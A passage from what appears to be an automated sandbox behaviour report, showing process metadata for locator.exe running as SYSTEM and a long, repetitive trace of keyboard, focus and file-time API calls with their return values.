[0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1072 os_tid = 0x690 Thread: id = 1073 os_tid = 0x658 Process: id = "106" image_name = "locator.exe" filename = "c:\\windows\\system32\\locator.exe" page_root = "0x68306000" os_pid = "0x318" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1bc" cmd_line = "C:\\Windows\\system32\\locator.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 1074 os_tid = 0x6c4 [0258.482] GetCommandLineW () returned="C:\\Windows\\system32\\locator.exe" [0258.482] GetStockObject (i=168) returned 0x0 [0258.482] GetAsyncKeyState (vKey=58) returned 0 [0258.482] GetKBCodePage () returned 0x1b5 [0258.483] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.483] GetFocus () returned 0x0 [0258.483] GetAsyncKeyState (vKey=58) returned 0 [0258.483] GetKBCodePage () returned 0x1b5 [0258.483] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.483] GetFocus () returned 0x0 [0258.483] GetAsyncKeyState (vKey=58) returned 0 [0258.483] GetKBCodePage () returned 0x1b5 [0258.483] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.483] GetFocus () returned 0x0 [0258.483] GetAsyncKeyState (vKey=58) returned 0 [0258.483] GetKBCodePage () returned 0x1b5 [0258.483] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.483] GetFocus () returned 0x0 [0258.483] GetAsyncKeyState (vKey=58) returned 0 [0258.483] GetKBCodePage () returned 0x1b5 [0258.483] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.483] GetFocus () returned 0x0 [0258.483] GetAsyncKeyState (vKey=58) returned 0 [0258.483] GetKBCodePage () returned 0x1b5 [0258.483] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.483] GetFocus () returned 0x0 [0258.483] GetAsyncKeyState (vKey=58) returned 0 [0258.483] GetKBCodePage () returned 0x1b5 [0258.483] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.483] GetFocus () returned 0x0 [0258.483] GetAsyncKeyState (vKey=58) returned 0 [0258.483] GetKBCodePage () returned 0x1b5 [0258.483] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.483] GetFocus () returned 0x0 [0258.483] GetAsyncKeyState (vKey=58) returned 0 [0258.483] GetKBCodePage () returned 0x1b5 [0258.483] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.483] GetFocus () returned 0x0 [0258.483] GetAsyncKeyState (vKey=58) returned 0 [0258.483] GetKBCodePage () returned 0x1b5 [0258.484] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.484] GetFocus () returned 0x0 [0258.484] GetAsyncKeyState (vKey=58) returned 0 [0258.484] GetKBCodePage () returned 0x1b5 [0258.484] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.484] GetFocus () returned 0x0 [0258.484] GetAsyncKeyState (vKey=58) returned 0 [0258.484] GetKBCodePage () returned 0x1b5 [0258.484] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.484] GetFocus () returned 0x0 [0258.484] GetAsyncKeyState (vKey=58) returned 0 [0258.484] GetKBCodePage () returned 0x1b5 [0258.484] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.484] GetFocus () returned 0x0 [0258.484] GetAsyncKeyState (vKey=58) returned 0 [0258.484] GetKBCodePage () returned 0x1b5 [0258.484] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.484] GetFocus () returned 0x0 [0258.484] GetAsyncKeyState (vKey=58) returned 0 [0258.484] GetKBCodePage () returned 0x1b5 [0258.484] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.484] GetFocus () returned 0x0 [0258.484] GetAsyncKeyState (vKey=58) returned 0 [0258.484] GetKBCodePage () returned 0x1b5 [0258.484] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.484] GetFocus () returned 0x0 [0258.484] GetAsyncKeyState (vKey=58) returned 0 [0258.484] GetKBCodePage () returned 0x1b5 [0258.484] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.484] GetFocus () returned 0x0 [0258.484] GetAsyncKeyState (vKey=58) returned 0 [0258.484] GetKBCodePage () returned 0x1b5 [0258.484] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.484] GetFocus () returned 0x0 [0258.484] GetAsyncKeyState (vKey=58) returned 0 [0258.484] GetKBCodePage () returned 0x1b5 [0258.484] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.485] GetFocus () returned 0x0 [0258.485] GetAsyncKeyState (vKey=58) returned 0 [0258.485] GetKBCodePage () returned 0x1b5 [0258.485] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.485] GetFocus () returned 0x0 [0258.485] GetAsyncKeyState (vKey=58) returned 0 [0258.485] GetKBCodePage () returned 0x1b5 [0258.485] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.485] GetFocus () returned 0x0 [0258.485] GetAsyncKeyState (vKey=58) returned 0 [0258.485] GetKBCodePage () returned 0x1b5 [0258.485] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.485] GetFocus () returned 0x0 [0258.485] GetAsyncKeyState (vKey=58) returned 0 [0258.485] GetKBCodePage () returned 0x1b5 [0258.485] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.485] GetFocus () returned 0x0 [0258.485] GetAsyncKeyState (vKey=58) returned 0 [0258.485] GetKBCodePage () returned 0x1b5 [0258.485] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.485] GetFocus () returned 0x0 [0258.485] GetAsyncKeyState (vKey=58) returned 0 [0258.485] GetKBCodePage () returned 0x1b5 [0258.485] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.485] GetFocus () returned 0x0 [0258.485] GetAsyncKeyState (vKey=58) returned 0 [0258.485] GetKBCodePage () returned 0x1b5 [0258.485] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.485] GetFocus () returned 0x0 [0258.485] GetAsyncKeyState (vKey=58) returned 0 [0258.485] GetKBCodePage () returned 0x1b5 [0258.485] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.485] GetFocus () returned 0x0 [0258.485] GetAsyncKeyState (vKey=58) returned 0 [0258.485] GetKBCodePage () returned 0x1b5 [0258.485] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.485] GetFocus () returned 0x0 [0258.486] GetAsyncKeyState (vKey=58) returned 0 [0258.486] GetKBCodePage () returned 0x1b5 [0258.486] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.486] GetFocus () returned 0x0 [0258.486] GetAsyncKeyState (vKey=58) returned 0 [0258.486] GetKBCodePage () returned 0x1b5 [0258.486] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.486] GetFocus () returned 0x0 [0258.486] GetAsyncKeyState (vKey=58) returned 0 [0258.486] GetKBCodePage () returned 0x1b5 [0258.486] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.486] GetFocus () returned 0x0 [0258.486] GetAsyncKeyState (vKey=58) returned 0 [0258.486] GetKBCodePage () returned 0x1b5 [0258.486] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.486] GetFocus () returned 0x0 [0258.486] GetAsyncKeyState (vKey=58) returned 0 [0258.486] GetKBCodePage () returned 0x1b5 [0258.486] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.486] GetFocus () returned 0x0 [0258.486] GetAsyncKeyState (vKey=58) returned 0 [0258.486] GetKBCodePage () returned 0x1b5 [0258.486] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.486] GetFocus () returned 0x0 [0258.486] GetAsyncKeyState (vKey=58) returned 0 [0258.486] GetKBCodePage () returned 0x1b5 [0258.486] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.486] GetFocus () returned 0x0 [0258.486] GetAsyncKeyState (vKey=58) returned 0 [0258.486] GetKBCodePage () returned 0x1b5 [0258.486] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.486] GetFocus () returned 0x0 [0258.486] GetAsyncKeyState (vKey=58) returned 0 [0258.486] GetKBCodePage () returned 0x1b5 [0258.486] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.486] GetFocus () returned 0x0 [0258.487] GetAsyncKeyState (vKey=58) returned 0 [0258.487] GetKBCodePage () returned 0x1b5 [0258.487] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.487] GetFocus () returned 0x0 [0258.487] GetAsyncKeyState (vKey=58) returned 0 [0258.487] GetKBCodePage () returned 0x1b5 [0258.487] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.487] GetFocus () returned 0x0 [0258.487] GetAsyncKeyState (vKey=58) returned 0 [0258.487] GetKBCodePage () returned 0x1b5 [0258.487] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.487] GetFocus () returned 0x0 [0258.487] GetAsyncKeyState (vKey=58) returned 0 [0258.487] GetKBCodePage () returned 0x1b5 [0258.487] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.487] GetFocus () returned 0x0 [0258.487] GetAsyncKeyState (vKey=58) returned 0 [0258.487] GetKBCodePage () returned 0x1b5 [0258.487] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.487] GetFocus () returned 0x0 [0258.487] GetAsyncKeyState (vKey=58) returned 0 [0258.487] GetKBCodePage () returned 0x1b5 [0258.487] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.487] GetFocus () returned 0x0 [0258.487] GetAsyncKeyState (vKey=58) returned 0 [0258.487] GetKBCodePage () returned 0x1b5 [0258.487] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.487] GetFocus () returned 0x0 [0258.487] GetAsyncKeyState (vKey=58) returned 0 [0258.487] GetKBCodePage () returned 0x1b5 [0258.487] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.487] GetFocus () returned 0x0 [0258.487] GetAsyncKeyState (vKey=58) returned 0 [0258.487] GetKBCodePage () returned 0x1b5 [0258.487] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.487] GetFocus () returned 0x0 [0258.487] GetAsyncKeyState (vKey=58) returned 0 [0258.488] GetKBCodePage () returned 0x1b5 [0258.488] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.488] GetFocus () returned 0x0 [0258.488] GetAsyncKeyState (vKey=58) returned 0 [0258.488] GetKBCodePage () returned 0x1b5 [0258.488] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.488] GetFocus () returned 0x0 [0258.488] GetAsyncKeyState (vKey=58) returned 0 [0258.488] GetKBCodePage () returned 0x1b5 [0258.488] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.488] GetFocus () returned 0x0 [0258.488] GetAsyncKeyState (vKey=58) returned 0 [0258.488] GetKBCodePage () returned 0x1b5 [0258.488] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.488] GetFocus () returned 0x0 [0258.488] GetAsyncKeyState (vKey=58) returned 0 [0258.488] GetKBCodePage () returned 0x1b5 [0258.488] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 